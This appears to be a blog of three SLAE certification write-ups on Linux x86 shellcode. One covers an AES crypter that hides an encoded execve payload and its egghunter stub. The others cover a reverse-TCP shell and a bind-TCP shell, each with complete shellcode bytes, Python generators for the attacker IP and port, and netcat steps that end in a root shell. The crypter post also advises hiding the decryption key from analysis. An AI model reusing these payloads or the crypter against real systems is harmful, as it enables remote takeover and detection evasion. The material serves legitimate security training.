SLAE Assignment #7 – Create a custom crypter

Github link:  SLAE Assignment #7

For this final assignment, I decided that I wanted to add to the functionality of my custom encoder/egghunter combo by modifying my shconfig.py program to encrypt the decoder/egghunter stub.

For the AES implementation, I decided to utilize the CBC method using the implementation written by kokke.

The usage instructions below will produce the final shellcode.c output which you then compile with GCC and run.

Dependencies

  • Python 3.5+
  • NASM
  • GCC

File dependencies:

  • aes.c
  • aes.h
  • bencoder.nasm
  • compile.sh
  • shconfig.py

Usage

  1. ./compile.sh bencoder
    This uses NASM to compile the assembly source for the encoder.
  2. ./bencoder
    This should produce three files: enc.hex, key.hex, and raw.hex.
    enc.hex contains the encoded shellcode bytes
    key.hex contains the key used by the decoder stub for the encoded shellcode bytes
    raw.hex contains the original shellcode that was encoded by ./bencoder
  3. ./shconfig.py -e <egg value> -f asm –encrypt_with_key <key for AES encryption>
    <egg value>: This should be 4 valid hexadecimal characters only
    <key for AES encryption>: This is the key you are using to encrypt the bytes which comprise the decoder stub & egghunter
  4. gcc -fno-stack-protector -z execstack shellcode.c -o shellcode
  5. ./shellcode

Explanation of files

bencoder.nasm (The custom encoder):
This assembly program encodes the execve-stack shellcode by XOR’ing each byte with a new pseudorandom byte obtained from the Intel ‘rdrand’ CPU instruction. This creates a key to decode the execve-stack shellcode.
It writes the pseudorandom bytes obtained by the ‘rdrand’ instruction into the ‘key.hex’ file, the encoded bytes into the ‘enc.hex’ file, and the original execve-stack shellcode bytes into the ‘raw.hex’ file.

shconfig.py:
(Creates, compiles and executes C source file for encryption, captures encryption program output and writes C source file for decryption):
Reads all of the binary .hex files created by the compiled bencoder.nasm program to obtain the hex values.
It then places the values into a dictionary which is keyed by the filename. The key and egg value are then combined and formatted appropriately to be placed in the C source file. The egghunter/decoder shellcode bytes are then pieced together with the ‘enc.hex’ bytes from the dictionary as well as the bytes from the egg value entered in step 2 above. The opcodes from the egghunter/decoder combo program were obtained by compiling the decoder.nasm program, and then using objdump to display the opcodes. The create_decoder_shellcode() function re-creates these opcodes based on whatever egg value was specified as well as whatever value happens to be associated with the ‘enc.hex’ key of the dictionary (named ‘byte_string_dict’) created earlier. A C source file is then written (encrypt.c) and GCC is called to compile it. The encrypt program is then executed, which outputs the variable declaration for the encrypted shellcode bytes to be used by the decryption program.
The C source file for decryption/shellcode execution is then written (shellcode.c).

encrypt.c:
This is the C source file written and compiled by the shconfig.py program which returns a string which is the variable declaration for the encrypted decoder/egghunter shellcode that contains the encoded execve() shellcode.
Compiling and then running this program will print the encrypted version of the bytes entered into the in[] uint8_t array, in the form of the variable declaration which shconfig.py places into the shellcode.c source file.

shellcode.c:
This is the C source file used to decrypt and execute the encrypted decoder/egghunter shellcode stub which will decode and then execute the execve() shellcode.

compile.sh (compilation shell script):
Uses NASM to compile the supplied assembly program.

enc.hex (encoded shellcode):
These bytes are the encoded shellcode produced by the bencoder.nasm program.

key.hex (key bytes):
These bytes serve as the key to decode the encoded shellcode.

raw.hex (raw shellcode):
This is the exeve-stack shellcode prior to encoding. Provided only as an example for examination, and not currently used by any program here.


 

1

Most of the heavy lifting here is done by shconfig.py.  Three modules are used:  argparse, subprocess, and random.  Argparse is used to handle the options sent to the program during execution, subprocess is used to execute GCC with the appropriate options for the intermediate encryption step, and random is used to get pseudorandom values for the initialization vector in the AES implementation.

shconfig starts by parsing out the arguments passed to it using argparse.  The egg that is specified is stored in a variable called “egg”, and the encryption key specified is stored in a variable called “args.encryption_key”.

The program then starts collecting information from the 3 files that were produced by the bencoder program that was written in assembly (bencoder.nasm).  Using a for loop, the actual hex bytes are stored into a dictionary (byte_string_dict), as is the count of bytes (file_byte_counts).

Next, the byte values of the egg are inserted in front of the “key” that is used to XOR against the encoded shellcode for the decoder stub.  The result is a dictionary called “eggified_key”.  An integer value called “buf_size” is set to the value which equals the number of bytes in the encoded shellcode plus a fixed value of 68, which represents the total size of the egg and decoder stub.

At this point shconfig.py now has enough information to produce the intermediate encryption files (encrypt.c & compiled ./encrypt program).  The “create_source_files” function is called with arguments: eggified_key, buf_size, args.encryption_key.

Because the aes.c program performs encryption on 16 byte chunks using the CBC method, the “create_source_files” function needs to determine how many 16 byte chunks are going to be encrypted.  It does that by checking if the “buf_size” argument passed to it is evenly divisible by 16.  If not, it performs floor division of the total number of bytes to obtain the number of 16 byte chunks, and then adds one more chunk.

String values for use in the encrypt.c program are then saved, and the initialization vector array values (uint8_t iv[]) are determined by utilizing the “randint” method from the “random” library.

More string representations of values for the variables in the encrypt.c program are then computed, and the encrypt.c file is written out to disk with all of the appropriate C declarations.

“subprocess.check_output” is used to run GCC with the following: “gcc encrypt.c -o encrypt”.

Next, “subprocess.check_output” is used to run the now-compiled ./encrypt program and store the output from the program into the “encrypted_shellcode_var” variable which will be used in the “shellcode.c” final output file.

Finally, the “create_source_files” function calls it’s own function to piece together the strings needed for the rest of the C declarations that will go into the “shellcode.c” final output file, and then it writes that file to disk, and the program terminates.

As an example, the shellcode.c file that is produced will look similar to the following:

shellcode_c

The preprocessor directives for the files to include are self-explanatory.  The defines specify that we are using CBC mode only, and not using ECB mode.

Variable declarations:

key[] :  The key used for decryption.

iv[] :  The initialization vector value that was produced with the help of the “randint” method in the “random” library.

buffer[96]:  This is the buffer used for decryption.  The fixed size was dynamically generated by the aforementioned “buf_size” integer variable, representing the total number of bytes for the encoded shellcode, egg, and decoder stub.

the_key[] :  The key used for decoding after decryption, prepended with the egg value that the decoder stub searches for.

code[93]:  This is the array holding the actual shellcode bytes to be executed after decryption.  The fixed size was dynamically generated based on the total size of the decoder/egghunter stub (in bytes).

in[]:  This is the array that holds the encrypted shellcode bytes that are to be decrypted, which in this case is the decoder/egghunter stub shellcode bytes.

Please note that shellcode.c serves as a demonstration only, and the values will of course be different if you run your own example (as they should be!).  Naturally, if you intend on making use of this program in a more real-world use case, it would be wise to find a way to stage the encryption key somewhere in memory that makes it difficult to spot what it is without significant dynamic analysis of your code.

When shellcode.c is compiled and ran, the decoder stub/egghunter shellcode is decrypted, execution passes to those shellcode bytes, which decode the execve-stack shellcode bytes and pass execution to them.  Bam!  We have our root shell:

2

That’s it for this assignment!   This one was by far my favorite after #4, as it allowed for some creativity.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID:  SLAE-860

SLAE Assignment #2 – shell_reverse_tcp shellcode w/ customized IP/port

Files available on Github:

  1. assignment2.nasm
  2. compile.sh
  3. shconfig2.py
  4. shellcode.c

In this assignment, creating a reverse tcp shellcode with the ability to customize the port and IP address was the objective, so I approached this challenge similarly to the last assignment.

First was the creation of the base shellcode itself, which the commented source can be seen in assignment2.nasm.  Once this was compiled using NASM with the compile.sh script, the opcodes were extracted using the handy shortcut found at commandlinefu.

The raw shellcode was then split into three parts so that the customized values of IP and port could be grafted into it and then rejoined into the final shellcode:

begin = r"\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x31\xff\x97\x6a\x66\x58\x6a\x02\x5b\x31" \
        r"\xc9\x51\x66\x68\x1b\x61\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x03\x68"

port = r'\x66\x68'

end = r"\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x57\x5b\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\xb0" \
      r"\x0b\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80"

From there, I modified my python program arguments to support a customized IP in addition to the customized port of the last assignment. To do this, I utilized the argparse library:

parser = argparse.ArgumentParser()
parser.add_argument('-p', action="store", dest="p", type=int)
parser.add_argument('-i', action="store", dest="i")
args = parser.parse_args()

Converting the port number to hexadecimal, putting it in little-endian order, and ensuring it was in the valid range of ports was the next step:

if 1024 < args.p < 65536:
        unformatted_port = r''.join(hex(b)[2:4] for b in pack('!i', args.p))
        delim = r'\x'
        port += delim + unformatted_port[2:4] + delim + unformatted_port[4:8]

else:
        print('Port must be between 1025 and 65535.  Exiting.')
        exit(0)

Next, the same logic was applied to getting the hexadecimal representation of the IP address entered.  The validation logic I used was somewhat limited to save time, simply limiting the values entered to between 1 and 255, which excludes some valid addresses and includes some invalid ones as well.

dot1_pos = args.i.find('.')
dot2_pos = args.i.find('.', dot1_pos + 1)
dot3_pos = args.i.find('.', dot2_pos + 1)
octets = []

octets.append(int(args.i[0:dot1_pos]))
octets.append(int(args.i[dot1_pos + 1:dot2_pos]))
octets.append(int(args.i[dot2_pos + 1:dot3_pos]))
octets.append(int(args.i[dot3_pos + 1:len(args.i)]))
ip = r''
for octet in octets:
    if 1 <= octet <= 255:
        ip += r'\x'
        ip += '{0:02x}'.format(octet)
    else:
        print("Valid octets are between 1 and 255.  Try again.")
        exit(0)

Finally, the shellcode values are joined together in a final string that is printed to the screen:

shellcode = begin + ip + port + end
print("Shellcode :  " + "\"" + shellcode + "\";")

Running the program with some example values produces the shellcode that we will place into our skeleton C program:

1

After starting a netcat listener on the example port used (in this case 31337), we compile and execute our skeleton C program, which connects to the listening machine on the attacker where a shell is now available.

2.png

Root shell FTW.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID:  SLAE-860

SLAE Assignment #1 – Shell_Bind_TCP Shellcode

Files available on GitHub

  1. Assignment1.nasm
  2. compile.sh
  3. shconfig.py
  4. shellcode.c

In this assignment, I created a socketcall() in assembly and redirected STDIN, STDOUT, and STDERR to it.  Using some cut and trim magic learned via commandlinefu, the opcodes were pasted into the shconfig.py program, which the user executes with an argument to specify the port used.  That output is put into the shellcode.c skeleton program which is compiled without stack protection and allowing stack execution.

Here’s the trim command to extract the opcodes:

objdump -d ./shell_bind_tcp|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

Step 1:  Compile assignment1.nasm

Step 2:  Extract the opcodes

Run shconfig.py -p <port number of choice>

./shconfig.py -p 1337
Shellcode : "\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1
\xcd\x80\x31\xff\x97\x6a\x66\x58\x6a\x02\x5b\x31\xc9\x51\x66\x68\x53\x9
\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x31\xc9
\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x31\xc9\x51\x51\x57\x89\xe1\xcd
\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x31\xc9\x51
\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xcd\x80";

Insert that output into code[] variable of the skeleton C program.

Compile with:

gcc -fno-stack-protector -z execstack shellcode.c 
-o shellcode

Run, and connect from another terminal with netcat on the port you specified using shconfig.py and you’re in!

image1

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID:  SLAE-860